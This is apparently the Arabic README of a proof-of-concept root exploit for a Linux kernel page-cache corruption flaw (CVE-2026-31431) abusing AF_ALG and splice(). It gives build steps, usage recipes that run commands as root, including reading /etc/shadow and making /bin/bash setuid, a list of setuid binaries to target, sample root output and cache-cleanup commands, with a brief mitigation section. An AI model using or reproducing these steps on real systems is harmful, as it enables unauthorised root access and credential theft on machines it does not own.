
استغلال لثغرة CVE-2026-31431، وهي ثغرة تلف في ذاكرة التخزين المؤقت للصفحات في نواة لينكس، توفر غلاف جذر تفاعلي وتنفيذ أوامر غير تفاعلي عبر سلاسل AF_ALG و splice().
أداة استغلال ثغرة تلوث page cache في نواة Linux، تدعم تنفيذ الأوامر غير التفاعلي.
CVE-2026-31431 هي ثغرة عيب منطقي في نواة Linux، موجودة في تنفيذ خوارزمية AEAD authencesn. من خلال سلسلة استدعاءات النظام AF_ALG و splice()، يمكن للمهاجم كتابة 4 بايتات إلى page cache لأي ملف قابل للقراءة.
النطاق المتأثر:
خصائص الثغرة:
.
├── copyfail_universal.c # الكود المصدري الرئيسي للـ POC (تجميع ثابت، بدون اعتماد على libc)
├── copyfail_universal # الملف الثنائي بعد التجميع
├── run_cmd.sh # سكربت wrapper للتنفيذ غير التفاعلي
├── Makefile # سكربت التجميع
└── README.md # هذا المستند
# الطريقة 1: استخدام gcc و ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal
# الطريقة 2: استخدام Makefile
make
./copyfail_universal
# الطريقة 1: استخدام سكربت wrapper (موصى به)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"
# الطريقة 2: عبر الأنابيب
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal
# الطريقة 3: استخدام متغيرات البيئة
CMD='whoami' ./copyfail_universal
# الهدف الافتراضي هو /usr/bin/su
# يمكن تحديد هدف آخر بتعديل متغير path في الكود المصدري
# الأهداف الشائعة المتاحة:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec
الثغرة تعدّل page cache فقط، ولا تعدّل ملفات القرص. يمكن الاستعادة بتنفيذ الأمر التالي:
sync; echo 3 > /proc/sys/vm/drop_caches
سكربت run_cmd.sh يتضمن وظيفة الاستعادة التلقائية مدمجة.
$ ./run_cmd.sh "id"
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...
uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)
للعثور على جميع برامج setuid على النظام:
find / -perm -4000 -user root -type f 2>/dev/null
تحديث النواة - الترقية إلى إصدار نواة يتضمن التصحيح a664bf3d603d
تخفيف مؤقت - تعطيل وحدة algif_aead:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
بيئات الحاويات - استخدام seccomp لمنع إنشاء sockets من نوع AF_ALG
authencesn يستخدم المخزن المؤقت الهدف كتخزين مؤقت، ويكتب 4 بايتات خارج الحدودsplice()هذه الأداة مخصصة للبحث الأمني والاختبار المصرح به فقط. استخدام هذه الأداة لمهاجمة أنظمة غير مصرح بها يعتبر مخالفًا للقانون. يتحمل المستخدم كامل المسؤولية القانونية.
| البرنامج | المسار | التوفر |
|---|
| su | /usr/bin/su | ✅ الافتراضي |
| passwd | /usr/bin/passwd | ✅ |
| chsh | /usr/bin/chsh | ✅ |
| chfn | /usr/bin/chfn | ✅ |
| gpasswd | /usr/bin/gpasswd | ✅ |
| pkexec | /usr/bin/pkexec | ✅ |
| mount | /bin/mount | ✅ |
| umount | /bin/umount | ✅ |